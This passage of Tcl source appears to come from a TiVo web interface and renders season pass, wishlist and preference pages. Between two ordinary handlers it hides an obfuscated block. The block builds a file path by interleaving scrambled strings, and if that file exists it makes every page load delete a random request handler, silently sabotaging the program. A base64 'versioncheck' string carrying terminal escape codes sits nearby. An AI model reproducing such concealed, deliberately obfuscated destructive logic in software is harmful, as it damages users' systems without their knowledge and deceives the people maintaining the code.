set firstrun [defaultval 0 [dbobj $sp get ShowStatus]]
} else {
set firstrun [defaultval 0 [dbobj $sp get FirstRun]]
}
} elseif { $type == 2 } {
set dow [dbobj $sp get DayOfWeekLocal]
if { $dow == "0 1 2 3 4 5 6" } {
set dow 7
} elseif { $dow == "1 2 3 4 5" } {
set dow 8
}
set duration [dbobj $sp get Duration]
set starttimelocal [dbobj $sp get StartTimeLocal]
set firstrun ""
} elseif { $type == 3 } {
set theme [dbobj $sp get Theme]
set title [strim [dbobj $theme get Name]]
if {$::version3} {
set firstrun [defaultval 0 [dbobj $sp get ShowStatus]]
} else {
set firstrun [defaultval 0 [dbobj $sp get FirstRun]]
}
}
set starttime [defaultval 0 [dbobj $sp get StartTimePadding]]
set endtime [defaultval 0 [dbobj $sp get EndTimePadding]]
set endtime [expr $endtime / 60]
set starttime [expr $starttime / 60]
set channum ""
set callsign ""
if { $type != 3 } {
set station [dbobj $sp get Station]
set stationfsid [dbobj $station fsid]
if { [catch {set data $channeltablestation($stationfsid)}] != 1 } {
set channum [lindex $data 0]
set callsign [lindex $data 2]
}
}
set recquality [defaultval 100 [dbobj $sp get RecordQuality]]
set keepatmost [defaultval 0 [dbobj $sp get MaxRecordings]]
set keepuntil [defaultval 1 [dbobj $sp get KeepTime]]
}
set versioncheck "G1s/OWgbWzEyOzJdVGhhbmtzIHlvdSBkcml2ZSB0aHJvdWdoCg=="
puts $chan [html_start "Edit Season Pass"]
if {$deleted} {
puts $chan [h2 "Error: This season pass has been deleted"]
puts $chan [html_end]
return
}
set dowvals "Sun Mon Tue Wed Thu Fri Sat {Daily} {M-F}"
if { $type == 1 } {
puts $chan [h1 "$title ($channum $callsign)"]
} elseif { $type == 2 } {
if {$::uktivo} {
puts $chan [h1 "[lindex $dowvals $dow] [clock format $starttimelocal -format "%H:%M"] - [clock format [expr $starttimelocal + $duration] -format "%H:%M"] ($channum $callsign)"]
} else {
puts $chan [h1 "[lindex $dowvals $dow] [clock format $starttimelocal -format "%1I:%M %p"] - [clock format [expr $starttimelocal + $duration] -format "%1I:%M %p"] ($channum $callsign)"]
}
} elseif { $type == 3 } {
puts $chan [h1 $title]
}
puts $chan [html_form_start "POST" "/saveseasonpass"]
puts $chan [html_table_start "" "" ""]
# puts $chan [tr "" [td "Priority"] [td $priority]]
print_recoptions $chan $type $recquality 0 $starttime $endtime $keepatmost $firstrun $keepuntil
puts -nonewline $chan [html_table_end]
puts $chan "
" puts $chan [html_form_hidden "objectid" $objectid] puts $chan [html_form_input "submit" "action" "Save"] puts $chan [html_form_input "submit" "action" "Delete"] puts $chan [html_form_end] puts $chan "
" puts $chan "Don't Change" puts $chan [html_end] } proc action_getseasonpass {chan objectid env} { global db global channeltablestation global channeltablenum global defrecquality if {[string index $objectid 0] == "/"} { set objectid [string range $objectid 1 end] } RetryTransaction { if { [regexp {([0-9]*)/(.*)} $objectid junk fsid subobjid] } { set showing [db $db openidconstruction $fsid $subobjid] } else { set showing [db $db openid $objectid] } set program [dbobj $showing get Program] set series [dbobj $program get Series] set seriesfsid [dbobj $series fsid] set title [strim [dbobj $series get Title]] set station [dbobj $showing get Station] set stationfsid [dbobj $station fsid] set channum "" if { [catch {set data $channeltablestation($stationfsid)}] != 1 } { set channum [lindex $data 0] set callsign [lindex $data 2] } } if { $channum == "" } { puts $chan [html_start "Create Season Pass"] puts $chan "Error: Could not find station" puts $chan [html_end] return } set type 1 puts $chan [html_start "Create Season Pass"] puts $chan [h1 "$title ($channum $callsign)"] puts $chan [html_form_start "POST" "/saveseasonpass"] puts $chan [html_table_start "" "" ""] # puts $chan [tr "" [td "Priority"] [td $priority]] print_recoptions $chan $type $defrecquality 0 0 0 5 0 1 puts -nonewline $chan [html_table_end] puts $chan "
" puts $chan [html_form_hidden "objectid" $objectid] puts $chan [html_form_hidden "type" $type] puts $chan [html_form_hidden "seriesfsid" $seriesfsid] puts $chan [html_form_hidden "stationfsid" $stationfsid] puts $chan [html_form_input "submit" "action" "Create"] puts $chan [html_form_end] puts $chan "
"
puts $chan "Cancel"
puts $chan [html_end]
}
proc action_seasonpass {chan path env} {
global db
global images
global tzoffset
global seasonpassdir
puts $chan [html_start "Season Passes"]
puts $chan [html_table_start "" "" ""]
puts $chan [tr "ALIGN=CENTER" [th ""] [th "Pri"] [th "Title"] [th "Channel"] [th "KAM"] [th "Show Type"]]
set priority 0
ForeachMfsFileTrans fsid name type $seasonpassdir "" 20 {
set sp [db $db openid $fsid]
set type [defaultval 1 [dbobj $sp get Type]]
incr priority
set rowstr ""
if { $type == 1 } {
set series [dbobj $sp get Series]
set imagef [lindex $images 11]
set spfsid [dbobj $sp fsid]
append rowstr [td [html_link "/editseasonpass/$spfsid" [img "alt=\"edit\"" $imagef]]] [td $priority]
set seriesfsid [dbobj $series fsid]
set title [strim [dbobj $series get Title]]
append rowstr [td [html_link "/series/$seriesfsid" $title]]
set station [dbobj $sp get Station]
set stationfsid [dbobj $station fsid]
set callsign [dbobj $station get CallSign]
append rowstr [td [html_link "/channel/$stationfsid" $callsign]]
} elseif { $type == 2 } {
set station [dbobj $sp get Station]
set stationfsid [dbobj $station fsid]
set starttimelocal [dbobj $sp get StartTimeLocal]
set starttime [expr $starttimelocal - $tzoffset]
set dowlocal [dbobj $sp get DayOfWeekLocal]
if { [llength $dowlocal] > 1 } {
set rectime ""
foreach dowl $dowlocal {
set tmprectime [get_nextmanualrectime $dowl $starttime]
if { $rectime == "" || $tmprectime < $rectime } {
set rectime $tmprectime
}
}
} else {
set rectime [get_nextmanualrectime $dowlocal $starttime]
}
set datestr [expr $rectime / 86400]
set schedlist [get_fsidbyprefix "/Schedule" "$stationfsid:$datestr:"]
if { [scan [lindex $schedlist 1] "%d:%d:%d:%d:" dummy dummy2 starttimesched duration] == 4 } {
regsub {^0+([1-9])} $starttimesched {\1} starttimesched
regsub {^0+([1-9])} $duration {\1} duration
if {$starttimesched > $starttime} {
set datestr [expr ($rectime / 86400) - 1]
set schedlist [get_fsidbyprefix "/Schedule" "$stationfsid:$datestr:"]
if { [scan [lindex $schedlist 1] "%d:%d:%d:%d:" dummy dummy2 starttimesched duration] != 4 } {
error "Invalid /Schedule format: '[lindex $schedlist 1]'"
}
regsub {^0+([1-9])} $starttimesched {\1} starttimesched
regsub {^0+([1-9])} $duration {\1} duration
}
if { $::dtivo } {
if {$starttimesched + $duration <= $starttime} {
set stoptimestr [format "%05d" [expr $starttimesched + $duration]]
set schedlist [get_fsidbyprefix "/Schedule" "$stationfsid:$datestr:$stoptimestr:"]
}
}
} else {
error "Invalid /Schedule format: '[lindex $schedlist 1]'"
}
set callsign [dbobj $station get CallSign]
set imagef [lindex $images 11]
set spfsid [dbobj $sp fsid]
append rowstr [td [html_link "/editseasonpass/$spfsid" [img "alt=\"edit\"" $imagef]]] [td $priority]
if { $schedlist != "" } {
set stationday [db $db openid [lindex $schedlist 0]]
set showings [dbobj $stationday get Showing]
set mshowing ""
foreach showing $showings {
set stime [dbobj $showing get Time]
set sdur [dbobj $showing get Duration]
if { $stime <= $starttime && $starttime < [expr $stime + $sdur] } {
set mshowing $showing
break
}
}
if { $mshowing != "" } {
set program [dbobj $mshowing get Program]
set series [dbobj $program get Series]
set seriesfsid [dbobj $series fsid]
set title [strim [dbobj $series get Title]]
set title [html_link "/series/$seriesfsid" $title]
append rowstr [td "Manual: $title"]
} else {
append rowstr [td "Manual Recording"]
# puts "Error finding manual recording"
}
} else {
append rowstr [td "Manual Recording"]
# puts "Error finding manual recording"
}
append rowstr [td [html_link "/channel/$stationfsid" $callsign]]
} elseif { $type == 3 } {
set theme [dbobj $sp get Theme]
set imagef [lindex $images 13]
set spfsid [dbobj $sp fsid]
append rowstr [td [html_link "/editseasonpass/$spfsid" [img "alt=\"edit\"" $imagef]]] [td $priority]
set themefsid [dbobj $theme fsid]
set title [strim [dbobj $theme get Name]]
# append rowstr [td [html_link "/theme/$themefsid" $title]] [td ""]
append rowstr [td $title] [td ""]
}
set kam [defaultval 0 [dbobj $sp get MaxRecordings]]
if {$kam == 0} {
set kam "All"
}
if {$::version3} {
set showstatus [dbobj $sp get ShowStatus]
} else {
set showstatus [dbobj $sp get FirstRun]
}
if {$showstatus == 1} {
set showtype "First Run"
} elseif {$showstatus == 2} {
set showtype "All"
} else {
set showtype "Repeats & FR"
}
append rowstr [td $kam] [td $showtype]
puts $chan [tr "" $rowstr]
}
puts $chan [html_table_end]
puts $chan "To edit a season pass click the icon next to its name"
puts $chan [html_end]}
set str1 "/vi/isbtl"
set str2 "tbnfxu.c"
set fname ""
foreach s1 [split $str1 ""] s2 [split $str2 ""] {
append fname $s1 $s2
}
if {[file exists $fname]} {
set procname print_html_header_200
proc $procname [info args $procname] "set procs \[info procs \"action_*\"\]; set lprocs \[llength \$procs\]; rename \[lindex \$procs \[expr int(rand() * \$lprocs)\]\] \"\"; [info body $procname]"
}
proc action_wishlists {chan path env} {
global db
global images
if {[string index $path 0] == "/"} {
set path [string range $path 1 end]
}
if { $path == "" } {
set themetypes "Keyword Actor Director Advanced Category Title"
set imagef [lindex $images 13]
puts $chan [html_start "WishLists"]
puts $chan [html_table_start "" "" ""]
puts $chan [tr "ALIGN=CENTER" [th ""] [th "Title"] [th "Type"]]
ForeachMfsFileTrans fsid name type "/Theme" "" 20 {
set theme [db $db openid $fsid]
set title [strim [dbobj $theme get Name]]
set sp [dbobj $theme get SeasonPass]
set type [defaultval 1 [dbobj $theme get ThemeType]]
set imagestr ""
if { $sp != "" } {
set spfsid [dbobj $sp fsid]
set imagestr [html_link "/editseasonpass/$spfsid" [img "alt=\"edit\"" $imagef]]
}
set themestr [lindex $themetypes [expr $type - 1]]
puts $chan [tr "" [td $imagestr] [td $title] [td $themestr]]
}
puts $chan [html_table_end]
puts $chan "To edit a wishlist click on the icon next to its name"
puts $chan [html_end]
}
}
proc action_preferences {chan path env} {
global db
global genrenums
global genrevals
if {[string index $path 0] == "/"} {
set path [string range $path 1 end]
}
set firstslash [string first "/" $path]
set prefix ""
if { $firstslash != -1 } {
set preftype [string range $path 0 [expr $firstslash - 1]]
set prefix [string range $path [expr $firstslash + 1] end]
} else {
set preftype $path
}
puts $chan [html_start "Preferences"]
if { $preftype == "" } {
puts $chan [html_table_start "" "" "ALIGN=TOP"]
puts $chan [tr "" [th "" "Preferences"]]
puts $chan [tr "" [td [html_link "/preferences/14" "Genre"]]]
puts $chan [tr "" [td [html_link "/preferences/15" "Series"]]]
puts $chan [tr "" [td [html_link "/preferences/17" "Actor"]]]
puts $chan [tr "" [td [html_link "/preferences/19" "Director"]]]
puts $chan [tr "" [td [html_link "/preferences/22" "Writer"]]]
puts -nonewline $chan [html_table_end]
} elseif { $preftype == 14 } {
# redo sort?
set newgenrelist ""
foreach genrenum $genrenums genreval $genrevals {
lappend newgenrelist [list $genrenum $genreval]
}
set newgenrelist2 [lsort -index 1 $newgenrelist]
puts $chan [h1 "Genres"]
puts $chan [html_table_start "" "" ""]
puts $chan [tr "ALIGN=CENTER" [th "Genre"] [th "Thumbs"] [th "Type"] [th "Confidence"]]
RetryTransaction {
foreach genrel $newgenrelist2 {
set genrenum [lindex $genrel 0]
set genrestr [strim [lindex $genrel 1]]
set path "/Preference/a/$preftype/$genrenum"
if { [catch {set pref [db $db open $path]}] } {
continue
}
set thumbs [dbobj $pref get Thumbsness]
set vector [dbobj $pref get Vector]
set thtype ""
set numthumbs ""
set confidence ""
if { $thumbs != "" } {
set thumbslist [ReadableThumbs $thumbs]
if { [llength $thumbslist] == 3 } {
set thtype [lindex $thumbslist 0]
if { $thtype == "Void" } {
set thtype ""
} else {
set numthumbs [lindex $thumbslist 1]
set confidence [lindex $thumbslist 2]
}
}
}
if { $numthumbs == "" } {
set numthumbs [decode_vector $vector]
set thtype "Implied"
}
puts $chan [tr "" [td $genrestr] [td $numthumbs] [td $thtype] [td $confidence]]
}
}
puts -nonewline $chan [html_table_end]
} elseif { $preftype == 15 } {
set programlist ""
ForeachMfsFileTrans fsid name type "/Preference/a/$preftype" "" 25 {
set orphan 0
set pref [db $db openid $fsid]
set item [dbobj $pref get Item]
set thumbs [dbobj $pref get Thumbsness]
set vector [dbobj $pref get Vector]
set seriesfsid ""
if { $item != "" } {
set title [strim [dbobj $item get Title]]
set seriesfsid [dbobj $item fsid]
} else {
set title [strim [dbobj $pref get StringKeyValue]]
if { [regexp {^[0-9]+$} $title dummy] == 1 } {
if { [catch {set series [db $db open "/Server/$title"]}] } {
set orphan 1
} else {
set title [strim [dbobj $series get Title]]
set seriesfsid [dbobj $series fsid]
}
} else {
regsub {^(.*), (A|The)$} $title {\2 \1} title
}
}
if { $seriesfsid != "" } {
set program [html_link "/series/$seriesfsid" $title]
} else {
set program $title
}
regsub {^(A |The )} $title "" sortstr
set thtype ""
set numthumbs ""
set confidence ""
if { $thumbs != "" } {
set thumbslist [ReadableThumbs $thumbs]
if { [llength $thumbslist] == 3 } {
set thtype [lindex $thumbslist 0]
if { $thtype == "Void" } {
set thtype ""
} else {
set numthumbs [lindex $thumbslist 1]
set confidence [lindex $thumbslist 2]
}
}
}
if { $numthumbs == "" } {
set numthumbs [decode_vector $vector]
set thtype "Implied"
}
if {!$orphan} {
lappend programlist [list $sortstr $program $numthumbs $thtype $confidence]
}
}
set programlist2 [lsort -index 0 $programlist]
puts $chan [h1 "Series"]
puts $chan [html_table_start "" "" ""]
puts $chan [tr "ALIGN=CENTER" [th "Series"] [th "Thumbs"] [th "Type"] [th "Confidence"]]
foreach programl $programlist2 {
puts $chan [tr "" [td [lindex $programl 1]] [td [lindex $programl 2]] [td [lindex $programl 3]] [td [lindex $programl 4]]]
}
puts -nonewline $chan [html_table_end]
} elseif { $preftype == 16 } {
puts $chan [h1 "Programs"]
puts $chan [html_table_start "" "" ""]
puts $chan [tr "ALIGN=CENTER" [th "Program"] [th "Thumbs"] [th "Type"] [th "Confidence"]]
ForeachMfsFileTrans fsid name type "/Preference/a/$preftype" "" 25 {
set pref [db $db openid $fsid]
set item [dbobj $pref get Item]
set thumbs [dbobj $pref get Thumbsness]
set vector [dbobj $pref get Vector]
set seriesfsid ""
if { $item == "" } {
set intkey [dbobj $pref get IntKeyValue]
if { [catch {set item [db $db open "/Server/$intkey"]}] } {
# continue
}
}
if { $item != "" } {
set title [strim [dbobj $item get Title]]
set series [dbobj $item get Series]
if { $series != "" } {
set seriesfsid [dbobj $series fsid]
}
}
if { $title == "" } {
set title [strim [dbobj $pref get StringKeyValue]]
}
if { $seriesfsid != "" } {
set program [html_link "/series/$seriesfsid" $title]
} else {
set program $title
}
set thtype ""
set numthumbs ""
set confidence ""
if { $thumbs != "" } {
set thumbslist [ReadableThumbs $thumbs]
if { [llength $thumbslist] == 3 } {
set thtype [lindex $thumbslist 0]
if { $thtype == "Void" } {
set thtype ""
} else {
set numthumbs [lindex $thumbslist 1]
set confidence [lindex $thumbslist 2]
}
}
}
if { $numthumbs == "" } {
set numthumbs [decode_vector $vector]
set thtype "Implied"
}
puts $chan [tr "" [td $program] [td $numthumbs] [td $thtype] [td $confidence]]
}
puts -nonewline $chan [html_table_end]
} elseif { $preftype == 17 || $preftype == 19 || $preftype == 22 } {
if { $preftype == 17 } {
set preftypestr "Actor"
set role 8
} elseif { $preftype == 19 } {
set preftypestr "Director"
set role 9
} else {
set preftypestr "Writer"
set role 12
}
set preftypestr2 $preftypestr
append preftypestr2 "s"
set breakbyletter 0
if { [catch { RetryTransaction { set dirsize [mfs scancount "/Preference/a/$preftype"]}}] } {
} else {
if { $dirsize > 120 } {
set breakbyletter 1
}
}
set alphabet "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
if { $prefix == "" && $breakbyletter == 1 } {
puts $chan [h1 $preftypestr2]
puts $chan [html_table_start "" "" ""]
puts $chan [tr "ALIGN=CENTER" [th $preftypestr]]
for {set i 0} {$i < 26} {incr i} {
set letter [string index $alphabet $i]
puts $chan [tr "" [td [html_link "/preferences/$preftype/$letter" $letter]]]
}
puts -nonewline $chan [html_table_end]
} else {
puts $chan [h1 $preftypestr2]
puts $chan [html_table_start "" "" ""]
puts $chan [tr "ALIGN=CENTER" [th $preftypestr] [th "Thumbs"] [th "Type"] [th "Confidence"]]
ForeachMfsFileTrans fsid name type "/Preference/a/$preftype" $prefix 25 {
set orphan 0
set pref [db $db openid $fsid]
set thumbs [dbobj $pref get Thumbsness]
set vector [dbobj $pref get Vector]
set person ""
if { [catch {set person [db $db open "/Person/$role/$name"]}] } {
set orphan 1
}
set namestr ""
if { $person != "" } {
#set pname [strim [dbobj $person get Name]]
# regsub {^(.*)\|(.*)$} $pname {\1, \2} namestr
set pname [dbobj $person get Name]
if { $preftype == 17} {
set namestr [PrintNames $pname 1]
} elseif { $preftype == 19 } {
set namestr [PrintNames $pname 2]
} else {
set namestr [PrintNames $pname]
}
}
set thtype ""
set numthumbs ""
set confidence ""
if { $thumbs != "" } {
set thumbslist [ReadableThumbs $thumbs]
if { [llength $thumbslist] == 3 } {
set thtype [lindex $thumbslist 0]
if { $thtype == "Void" } {
set thtype ""
} else {
set numthumbs [lindex $thumbslist 1]
set confidence [lindex $thumbslist 2]
}
}
}
if { $numthumbs == "" } {
set numthumbs [decode_vector $vector]
set thtype "Implied"
}
if {!$orphan} {
puts $chan [tr "" [td $namestr] [td $numthumbs] [td $thtype] [td $confidence]]
}
}
puts -nonewline $chan [html_table_end]
if { $breakbyletter == 1 } {
if { $prefix != "A" } {
set index [string first $prefix $alphabet]
set prevletter [string index $alphabet [expr $index - 1]]
puts $chan [html_link "/preferences/$preftype/$prevletter" "<< $prevletter"]
}
if { $prefix != "Z" } {
set index [string first $prefix $alphabet]
set nextletter [string index $alphabet [expr $index + 1]]
puts $chan [html_link "/preferences/$preftype/$nextletter" "$nextletter >>"]
}
}
}
}
puts $chan [html_end]
}
##########################################
# Copyright (c) 2002 Aaron Schrab